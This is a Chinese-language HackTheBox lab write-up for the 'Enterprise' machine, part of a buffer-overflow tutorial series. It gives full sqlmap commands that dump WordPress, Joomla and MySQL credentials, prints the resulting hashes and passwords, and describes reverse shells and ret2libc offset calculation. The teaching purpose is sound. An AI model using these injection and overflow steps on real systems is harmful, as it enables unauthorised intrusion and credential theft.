Author:B1ngDa0

Email:captainzhougai#foxmail.com

  今天给大家带来HTB(hackthebox)的靶机:Enterprise 的 writeup,作为 Exploit 编写教程的实例。如有什么问题或想加入Hackthebox的微信群,请联系我。

跟着靶机Writeup学BOF_Sneaky


本文涉及知识点:

Ret2LibC 攻击


实战

信息收集

首先 nmap 扫描获取端口信息

img

img

img

img

有三个 http 服务 一个一个看

在 /etc/hosts 中将 10.10.10.61 绑定为 enterprise.htb

80 端口:

img

img

WordPress 的博客

通过访问 http://enterprise.htb/?author=1 获得用户名

willian.riker

img

img

未有其他信息

查看 443 端口

内容为 Apache 默认页面,爆破目录后获得 lcars.zip 文件

img

img

img

img

解压后获得 lcars_db.php lcars_dbpost.php lcars.php 三个文件

依次查看内容

img

img

img

img

img

img

通过内容可以得知 wordpress 博客内的 lcars 插件可以被注入

地址为:http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1

直接使用 sqlmap:

img

img

1
sqlmap -u "http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1" --random-agent --batch --thread 10 -D wordpress -T wp_users -C "user_login,user_pass" --dump
img

img

可以看到 用户 willian.riker,与我们之前获取的一致,但是密码跑不出来。

在一篇未发表的博文中 发现了三个密码

1
sqlmap -u "http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1" --random-agent --batch --thread 10 -D wordpress -T wp_posts -C post_content --dump
img

img

ZxJyhGem4k338S2Y

ZD3YxfnSjezg67JZ

u*Z14ru0p#ttj83zS6

另外数据库中也存在 8080 端口的数据 一并 dump

1
sqlmap -u http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1 --threads 10 -D joomladb -T edz2g_users -C username --dump

最终汇总的信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
DB:wordpress

Table:wp_users
user : william.riker
pass : $P$BFf47EOgXrJB3ozBRZkjYcleng2Q.2.

Table:wp_posts
未发表的一篇博文的内容:

Needed somewhere to put some passwords quickly
ZxJyhGem4k338S2Y
enterprisencc170
ZD3YxfnSjezg67JZ
u*Z14ru0p#ttj83zS6

DB: joomladb
prefix : edz2g

Command : sqlmap -u http://10.10.10.61/wp-content/plugins/lcars/lcars_db.php?query=1 -D joomladb -T edz2g_users -C username,password,email --dump --threads 10
Table : edz2g_users
+-----------------+--------------------------------------------------------------+--------------------------------+
| username | password | email |
+-----------------+--------------------------------------------------------------+--------------------------------+
| geordi.la.forge | $2y$10$cXSgEkNQGBBUneDKXq9gU.8RAf37GyN7JIrPE7us9UBMR9uDDKaWy | geordi.la.forge@enterprise.htb |
| Guinan | $2y$10$90gyQVv7oL6CCN8lF/0LYulrjKRExceg2i0147/Ewpb6tBzHaqL2q | guinan@enterprise.htb |
+-----------------+--------------------------------------------------------------+--------------------------------+

DB: mysql
user: joomladb | 2eb70fd4eb74f31283541aad4e83ab6e077bc0df MySQL4.1/MySQL5 : joomlapassword!
user: root | 95b8a7b0a041cf2011bea41db57315c603285253 MySQL4.1/MySQL5 : NCC-1701E

通过测试 william.riker:u*Z14ru0p#ttj83zS6,这对凭证成功进入 wordpress 后台

img

img

修改插件内容获得反弹shell

img

img

img

img

本以为到这儿,user 拿下。但是查看 user.txt ,发现我们在一个容器中。

img

img

于是转换方向,尝试在 8080 端口的 joolma 中 getshell

使用前面 sqlmap 中的账号密码 成功登陆 joolma

geordi.la.forge:ZD3YxfnSjezg67JZ

img

img

img

img

img

通过 extplorer 修改文件内容 获取反弹 shell

img

img

img

但是

img

img

我们依旧在容器里,没有真正拿到目标的 user 权限。

Get User

寻找一番,在 eXtplorer 中发现了我们之前下载的 lcars.zip

img

img

猜想这莫不是共享目录

上传反弹 shell

img

img

尝试反弹

img

img

成功 get user。

Get Root

依旧先枚举信息

上 LinEnum

img

img

一些可能会用到的信息:

img

img

img

img

img

img

img

img

在 SUID 文件中找到一个可疑的二进制文件 执行之后:

img

img

需要验证代码才能继续,先放着。

端口发现 32812 开启的,本地访问查看

img

img

与 /bin/lcars 文件一致

lcars 和 32812 端口应该是提权关键了

使用 ltrace 调试一下 /bin/lcars

img

img

获得验证代码:

picarda1

img

img

可选择某个选项然后输入内容,有几个选项选择之后没反应,继续是菜单。

经过测试,选项 4 中发现溢出

输入 500个A 之后 连接直接断开,其他选项是无效字符,返回菜单。

img

img

查看 地址是否随机变化:

1
sysctl -a --pattern "randomize"
img

img

地址随机变化 关闭着

再使用 checksec 查看文件

img

img

显示 PIE 是开启的(实际上通过命令 显示的是 AXLR 关闭的)

下面将通过 Ret2LibC 的方式进行溢出攻击

首先确定 EIP 大小

这次将通过计算的方式,而非使用 MSF 的组件

通过 gdb 分析

1
gdb /bin/lcars

查看所有函数

1
(gdb) info functions
img

img

img

img

溢出测试的时候 写了是 disableForcefileds。

所以让我们接着 反编译 disableForcefileds 函数

还是先 更改为 inter 格式的汇编

方便查看

1
set disassembly-flavor intel
1
disass disableForcefields
img

img

现在我们可以通过此处的内容 计算 EIP 的大小了

公式为 减去esp(sub esp)到添加esp(add esp)之间的大小的和(到调用__isoc99_scanf@plt为止)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
...
0x000007d8 <+4>: sub $0xd4,%esp
...
0x000007ee <+26>: sub $0xc,%esp
...
0x000007fd <+41>: add $0x10,%esp
0x00000800 <+44>: sub $0xc,%esp
...
0x0000080f <+59>: add $0x10,%esp
...
0x0000081a <+70>: sub $0xc,%esp
...
0x00000823 <+79>: add $0x10,%esp
0x00000826 <+82>: sub $0x8,%esp
...
因此:0xd4 + 0xc - 0x10 + 0xc - 0x10 + 0xc - 0x10 + 0x8 = 0xd0 = 208

所以 现在 需要覆盖的 EIP 的总大小为

208 + 4 = 212

接下来需要查找到 system、exit、/bin/sh 的地址

可通过 libc-search 脚本


个人感悟

  这道题防护机制没有,还是可以采取类似 Sneaky 的方式进行溢出,这里我们选择了演示 Ret2LibC,不是太理解的,可以查看参考里的链接。很多地方我选择了以多个方式展示去获取一些东西,所以篇幅较长,见谅。

  这是一篇为了配合 Exploit 编写教程而专门打的靶机。因为那个教程太老了,虽然很多思路也用的上,但不是特别方便复现练习,所以自己也写个 跟着靶机 Writeup 学 BOF。在内容上很多地方只是说 我们下一步要怎么做,会附带一些解释,但没有特别详细的解释,详细的解释请查看 我的翻译文章:Exploit 编写教程。

  关于更新与集数:暂定 6 集,周更吧。根据实际情况再调整。这是第二集。


参考

类似靶机推荐:

HackTheBox_Frolic

Ret2LibC:

http://www.cis.syr.edu/~wedu/seed/Labs/Vulnerability/Return_to_libc/Return_to_libc.pdf
https://www.exploit-db.com/docs/english/28553-linux-classic-return-to-libc-&-return-to-libc-chaining-tutorial.pdf

Exploit 编写教程第一部分:基于栈的溢出